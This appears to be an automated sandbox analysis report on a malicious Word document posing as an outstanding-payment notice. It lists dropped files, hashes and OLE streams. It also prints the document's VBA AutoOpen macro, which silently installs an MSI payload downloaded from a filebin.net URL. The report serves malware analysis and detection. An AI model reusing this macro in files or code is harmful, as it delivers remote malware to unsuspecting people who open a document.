Preview:	L..................F.... ...E....3..E....3...{._.T...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....hT....user.8......QK.XhT.....&=....U...............A.l.b.u.s.....z.1.....hT....Desktop.d......QK.XhT....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2......Tg. .12543_~1.DOC.........hT..hT.....r.....'...............1.2.5.4.3._.0.0.0.8.8.5.8.2.4.9._.F.W.D.O.U.T.S.T.A.N.D.I.N.G._.2.0.2.0.0.6.0.4...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\179605\Users.user\Desktop\12543_0008858249_FWDOUTSTANDING_20200604.doc.C.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.1.2.5.4.3._.0.0.0.8.8.5.8.2.4.9._.F.W.D.O.U.T.S.T.A.N.D.I.N.G._.2.0.2.0.0.6.0.4...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	131
Entropy (8bit):	4.970285316783502
Encrypted:	false
SSDEEP:	3:bDuMJlBPddqc6Kw7XVLR6YVomX1UXWddqc6Kw7XVLR6YVov:bCUPddqc6N7Xy4cXWddqc6N7Xy4y
MD5:	AC465E397B58BF09906407F06803641B
SHA1:	91C663F69C167B45184DB10BE2368073F56B7DD6
SHA-256:	9F3CFAB15CF36A28AFD1552EEEF61449EBD28BEC40F42BA88E2FD86859F3D023
SHA-512:	C0BCF40F37E7FAAB60C4822663B95F232003CDF8B701444B741AFB5271410C1FFBC9F76E1D8879470D6A35E557C5C2D370513E993CF7CB626A9750A31B03F65C
Malicious:	false
Preview:	[folders]..Templates.LNK=0..12543_0008858249_FWDOUTSTANDING_20200604.LNK=0..[doc]..12543_0008858249_FWDOUTSTANDING_20200604.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyEJbiJk/p2TKWWhMGHiV/ln:vdsCkWttViJkh2TKHM9V/l
MD5:	C5E24006AFAC8C2659023AD09A07EB0F
SHA1:	4B7B834BEDADFD0A2764743E021D40C55A51F284
SHA-256:	7C9E6D71E3F53D37A78CCE23FA21D259365A9571C6C3A01E8D216586177BA87E
SHA-512:	673649AF8318514414758F92756D408FB6F0CA4859CB2994A921E288126561A7B4EB3C7D824CC90352D939952EA167A473A4282838362B36E85B701A4B582396
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........16..............26.............@36..............36.....z.......p46.....x...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2L3NA9KPRDQMPGEYZP5Y.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.582679871894779
Encrypted:	false
SSDEEP:	96:chQCwMqKqvsqvJCwoEz8hQCwMqKqvsEHyqvJCwor6zYeYnHnxyNplUVWxL:c2joEz823Hnor6zYBxyNLxL
MD5:	DB998D75757CC341EFFADCB32C3A3537
SHA1:	77438083A9494757CB358471A9D01C1C81010DAA
SHA-256:	799694B7C9152F99776FE63DC6D0FDB46C41D411BD67814980F38F8CAE40181D
SHA-512:	1D2834BB1B0BD037AC058E53A93FA9B13854F686AF6CC36536ADD22B4C648787854587C8E42FC4523ED681C3F4D448214D88883A9AC848DB07FF8CB834DCBA51
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1.....hT....Programs..f.......:..hT.....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.582679871894779
Encrypted:	false
SSDEEP:	96:chQCwMqKqvsqvJCwoEz8hQCwMqKqvsEHyqvJCwor6zYeYnHnxyNplUVWxL:c2joEz823Hnor6zYBxyNLxL
MD5:	DB998D75757CC341EFFADCB32C3A3537
SHA1:	77438083A9494757CB358471A9D01C1C81010DAA
SHA-256:	799694B7C9152F99776FE63DC6D0FDB46C41D411BD67814980F38F8CAE40181D
SHA-512:	1D2834BB1B0BD037AC058E53A93FA9B13854F686AF6CC36536ADD22B4C648787854587C8E42FC4523ED681C3F4D448214D88883A9AC848DB07FF8CB834DCBA51
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1.....hT....Programs..f.......:..hT.....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CRATQOCQH2NC42QQ51D9.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.582679871894779
Encrypted:	false
SSDEEP:	96:chQCwMqKqvsqvJCwoEz8hQCwMqKqvsEHyqvJCwor6zYeYnHnxyNplUVWxL:c2joEz823Hnor6zYBxyNLxL
MD5:	DB998D75757CC341EFFADCB32C3A3537
SHA1:	77438083A9494757CB358471A9D01C1C81010DAA
SHA-256:	799694B7C9152F99776FE63DC6D0FDB46C41D411BD67814980F38F8CAE40181D
SHA-512:	1D2834BB1B0BD037AC058E53A93FA9B13854F686AF6CC36536ADD22B4C648787854587C8E42FC4523ED681C3F4D448214D88883A9AC848DB07FF8CB834DCBA51
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1.....hT....Programs..f.......:..hT.....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\Desktop\~$543_0008858249_FWDOUTSTANDING_20200604.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.503835550707525
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyEJbiJk/p2TKWWhMGHiV/ln:vdsCkWttViJkh2TKHM9V/l
MD5:	C5E24006AFAC8C2659023AD09A07EB0F
SHA1:	4B7B834BEDADFD0A2764743E021D40C55A51F284
SHA-256:	7C9E6D71E3F53D37A78CCE23FA21D259365A9571C6C3A01E8D216586177BA87E
SHA-512:	673649AF8318514414758F92756D408FB6F0CA4859CB2994A921E288126561A7B4EB3C7D824CC90352D939952EA167A473A4282838362B36E85B701A4B582396
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........16..............26.............@36..............36.....z.......p46.....x...

C:\Windows\Installer\535fae.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.6013944557991673
Encrypted:	false
SSDEEP:	48:Ks0AcDHPbuKPiKqQsddSH9ZauSiCPiKejddSsPiKVrpvWo:KsFb6qQ6OAWiq3Pv
MD5:	7C98B8E591E539177CC02866DD0D4140
SHA1:	620B461823FAF2BBF8F2E9124DA2878D73CF7849
SHA-256:	4BA4989BE7C8A499EA5EAB02CA287ECCF89A5BED08F075BE412142776E2B8721
SHA-512:	D3E8357262B3884D6C3AA5318070566DB3720AEA6E8D741CB6133DCF90102A8C3174CB369BEEE949CF4E10A7D911D48E3051E474CA32F07C4730FCC195297567
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI5B5A.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Code page: 1252, Title: Internet Explorer - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com 11.0.18362.1, Subject: Internet Explorer - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com, Author: Microsoft Corporation, Keywords: Installer, Template: Intel;1033, Revision Number: {4982A61C-946D-4168-809C-13FF99C4C351}, Create Time/Date: Thu Feb 18 21:32:30 2021, Last Saved Time/Date: Thu Feb 18 21:32:30 2021, Number of Pages: 200, Number of Words: 2, Name of Creating Application: MSI Wrapper (10.0.50.0), Security: 2
Category:	dropped
Size (bytes):	491520
Entropy (8bit):	6.791342319398629
Encrypted:	false
SSDEEP:	6144:cytOIiRQYpgjpjew5LLyGx1qo8yppyN90PEGUEpKy/90QEc:cytMRQ+gjpjegLyo8Cy90V4w90i
MD5:	260BEC1B34CE96E5ED6C42D51E7146FB
SHA1:	57EC75201B4957B5C9F4266264E4A3C953255801
SHA-256:	29C51CD98EAE68D4E63941C8CE41EEDAC2FB18500CD00388EE8D29619CA3F160
SHA-512:	A8AED798334A8BD35802E3166823D434B292036D5F0BBBE9E2F3587A660F856FF0CE918C8665BD88FCF443BFFA816FDC8EF0D4B13DC5A00CC82D8DC77F50919C
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI9F1.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.513444216841171
Encrypted:	false
SSDEEP:	3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5:	4CAAA03E0B59CA60A3D34674B732B702
SHA1:	EE80C8F4684055AC8960B9720FB108BE07E1D10C
SHA-256:	D01AF2B8C692DFFB04A5A04E3CCD0D0A3B2C67C8FC45A4B68C0A065B4E64CC3D
SHA-512:	25888848871286BDD1F9C43A0FBA35640EDB5BAFBE0C6AA2F9708A070EA4E5B16745B7C4F744AE4F5643F75EF47F196D430BF70921ED27715F712825EC590A34
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p...p...p.......p.....p..../.p.......p...q.%.p.......p.....p.....p.Rich..p.........................PE..L......`...........!.....h..........K....................................................@.........................P...]............P.......................`.....................................p...@...............t............................text....f.......h.................. ..`.rdata...............l..............@..@.data....5..........................@....rsrc........P......................@..@.reloc...)...`...*..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Windows\Logs\DPX\setupact.log

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	969
Entropy (8bit):	4.307877893758803
Encrypted:	false
SSDEEP:	24:a+m2H6Kb2Y76Kb2H6Kb2Y76Kb2Y6m2+m2H6Kb2Y76Kb2Y6r:ck6Kb96Kbk6Kb96Kbb4k6Kb96KbA
MD5:	B193C14C2275982386C9C24BE523ED52
SHA1:	DFAABC4AC43E7A77882BADE797F5415C6494CF3A
SHA-256:	0A685AF3940988A82CE8310FFE0166E9488CF0A20B1A8D4028362E4B305C73C3
SHA-512:	606C8EF4FE9AFF788D76B1457D3A309010A0AB6426F27F92658AC44C717EF0D05B8CAE8D20F11F1348178633A0492513D1A9CE4765C3291681D833EA4C1F8BFE
Malicious:	false
Preview:	.2022-04-20 09:19:26, Info DPX Started DPX phase: Resume and Download Job..2022-04-20 09:19:26, Info DPX Started DPX phase: Apply Deltas Provided In File..2022-04-20 09:19:26, Info DPX Ended DPX phase: Apply Deltas Provided In File..2022-04-20 09:19:26, Info DPX Started DPX phase: Apply Deltas Provided In File..2022-04-20 09:19:26, Info DPX Ended DPX phase: Apply Deltas Provided In File..2022-04-20 09:19:26, Info DPX Ended DPX phase: Resume and Download Job..2022-04-20 09:19:26, Info DPX Started DPX phase: Resume and Download Job..2022-04-20 09:19:26, Info DPX Started DPX phase: Apply Deltas Provided In File..2022-04-20 09:19:26, Info DPX Ended DPX phase: Apply Deltas Provided In File..2022-04-20 09:19:26, Info DPX Ended DPX phase: Resume and Download Job..

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 20 03:06:00 2022, Last Saved Time/Date: Wed Apr 20 03:06:00 2022, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
Entropy (8bit):	6.071377383201628
TrID:	Microsoft Word document (32009/1) 54.23% Microsoft Word document (old ver.) (19008/1) 32.20% Generic OLE2 / Multistream Compound File (8008/1) 13.57%
File name:	12543_0008858249_FWDOUTSTANDING_20200604.doc
File size:	61952
MD5:	090e1dfdcbf2185788ea14cd113cc39f
SHA1:	6346e143368edbb5a23c8eea9698be2c266311b3
SHA256:	3bd5892cdc82dc4576eaf2735edb57182ae8b91c8067be305d4e801197d390cc
SHA512:	d4c9b997909b7bfa87090204a4a97179e61c98c10be73000ec68e32af8feddee19ca8c2bc0e9bf9e3cf040d6e0f4f58f2e0f09eef2936528d1f34c506dbb2e98
SSDEEP:	768:cAuIiy1a9Tq1aBs8jCjuHF7Y89AOEUYqyxrINSrCqxw+tCc27I/:cAFMm1aidiFk89ABrbr1xrt/2
TLSH:	65535CDDF2C2C4BBE12942B5E983C7A6B3BC3E292D1293172574371F3C75924C661269
File Content Preview:	........................>.......................h...........k...............g..................................................................................................................................................................................

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "12543_0008858249_FWDOUTSTANDING_20200604.doc"

Indicators

Has Summary Info:
Application Name:	Microsoft Office Word
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Title:
Subject:
Author:
Keywords:
Comments:
Template:	Normal.dotm
Last Saved By:
Revion Number:	1
Total Edit Time:	0
Create Time:	2022-04-20 02:06:00
Last Saved Time:	2022-04-20 02:06:00
Number of Pages:	1
Number of Words:	0
Number of Characters:	1
Creating Application:	Microsoft Office Word
Security:	0

Document Summary

Document Code Page:	1252
Number of Lines:	1
Number of Paragraphs:	1
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: ThisDocument.cls, Stream Size: 1773

General
Stream Path:	Macros/VBA/ThisDocument
VBA File Name:	ThisDocument.cls
Stream Size:	1773
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . # . . . . . . . . . . . . . . . . k . 9 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 00 f0 00 00 00 1c 03 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff 23 03 00 00 0b 05 00 00 00 00 00 00 01 00 00 00 bf 6b 0f 39 00 00 ff ff a3 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
Dim msi As Object
Set msi = CreateObject("WindowsInstaller.Installer")
msi.UILevel = 2
' the second Property param may require some troubleshooting / testing https://docs.microsoft.com/en-us/windows/win32/msi/action
msi.InstallProduct "https://filebin.net/rf43v6qzghbj7h7b/TRY.msi", ""
End Sub

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 114

General
Stream Path:	\x1CompObj
File Type:	data
Stream Size:	114
Entropy:	4.2359563651
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . M i c r o s o f t W o r d 9 7 - 2 0 0 3 D o c u m e n t . . . . . M S W o r d D o c . . . . . W o r d . D o c u m e n t . 8 . . 9 . q . . . . . . . . . . . .
Data Raw:	01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 20 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 57 6f 72 64 20 39 37 2d 32 30 30 33 20 44 6f 63 75 6d 65 6e 74 00 0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.229954151382
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . T i t l e . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 d4 00 00 00 0b 00 00 00 01 00 00 00 60 00 00 00 05 00 00 00 68 00 00 00 06 00 00 00 70 00 00 00 11 00 00 00 78 00 00 00 17 00 00 00 80 00 00 00 0b 00 00 00 88 00 00 00 10 00 00 00 90 00 00 00 13 00 00 00 98 00 00 00 16 00 00 00 a0 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.414636097734
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . d . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . . . . . . . 8 . . . . . . . D . . . . . . . L . . . . . . . T . . . . . . . \\ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 64 01 00 00 11 00 00 00 01 00 00 00 90 00 00 00 02 00 00 00 98 00 00 00 03 00 00 00 a4 00 00 00 04 00 00 00 b0 00 00 00 05 00 00 00 bc 00 00 00 06 00 00 00 c8 00 00 00 07 00 00 00 d4 00 00 00 08 00 00 00 e8 00 00 00 09 00 00 00 f4 00 00 00

Stream Path: 1Table, File Type: data, Stream Size: 7133

General
Stream Path:	1Table
File Type:	data
Stream Size:	7133
Entropy:	5.86601132644
Base64 Encoded:	True
Data ASCII:	. . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . v . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . > . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . . 6 . . .
Data Raw:	1e 06 0f 00 12 00 01 00 78 01 0f 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00

Stream Path: Data, File Type: data, Stream Size: 32978

General
Stream Path:	Data
File Type:	data
Stream Size:	32978
Entropy:	7.70790581307
Base64 Encoded:	False
Data ASCII:	. . . . D . d . . . . . . . . . . . . . . . . . . . . . . . G . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . C . . . " . . . . A . . . . . . . . . . . . . . . . . . . . . . t . h . a . i . . . . . . . . . . . . . . . b . . . 8 . . . . . . d . . A . . . a , . . m S . ? . . . . . . . . . . D . . . . . . . . n . . . . . . . d . . A . . . a , . . m S . ? . . P N G . . . . . . . . I H D R . . . . . . . . . . . . . . . . . . . . . s R G B
Data Raw:	d2 80 00 00 44 00 64 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 96 19 47 0e e8 03 e8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 04 f0 46 00 00 00 b2 04 0a f0 08 00 00 00 01 04 00 00 00 0a 00 00 43 00 0b f0 22 00 00 00 04 41 01 00 00 00 05 c1 0a 00 00 00 06 01 02 00 00 00 ff 01 00 00 08 00 74 00 68 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 367

General
Stream Path:	Macros/PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	367
Entropy:	5.30381145663
Base64 Encoded:	True
Data ASCII:	I D = " { 0 6 2 5 E 4 4 A - E 7 6 5 - 4 1 C E - 9 D F D - C 3 4 7 3 6 B 7 5 A 4 6 } " . . D o c u m e n t = T h i s D o c u m e n t / & H 0 0 0 0 0 0 0 0 . . N a m e = " P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " C 3 C 1 2 6 B 2 3 E B 6 3 E B 6 3 E B 6 3 E B 6 " . . D P B = " D 7 D 5 3 2 A E 5 2 D 6 6 7 D 7 6 7 D 7 6 7 " . . G C = " E B E 9 0 E D A 2 3 D B 2 3 D B D C " . . . . [ H o s t E x t e n d e r I n f o ]
Data Raw:	49 44 3d 22 7b 30 36 32 35 45 34 34 41 2d 45 37 36 35 2d 34 31 43 45 2d 39 44 46 44 2d 43 33 34 37 33 36 42 37 35 41 34 36 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 44 6f 63 75 6d 65 6e 74 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 4e 61 6d 65 3d 22 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 41

General
Stream Path:	Macros/PROJECTwm
File Type:	data
Stream Size:	41
Entropy:	3.07738448508
Base64 Encoded:	False
Data ASCII:	T h i s D o c u m e n t . T . h . i . s . D . o . c . u . m . e . n . t . . . . .
Data Raw:	54 68 69 73 44 6f 63 75 6d 65 6e 74 00 54 00 68 00 69 00 73 00 44 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 00 00 00 00

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2435

General
Stream Path:	Macros/VBA/_VBA_PROJECT
File Type:	data
Stream Size:	2435
Entropy:	3.97570851109
Base64 Encoded:	False
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 .
Data Raw:	cc 61 b5 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: Macros/VBA/dir, File Type: data, Stream Size: 513

General
Stream Path:	Macros/VBA/dir
File Type:	data
Stream Size:	513
Entropy:	6.23760719085
Base64 Encoded:	True
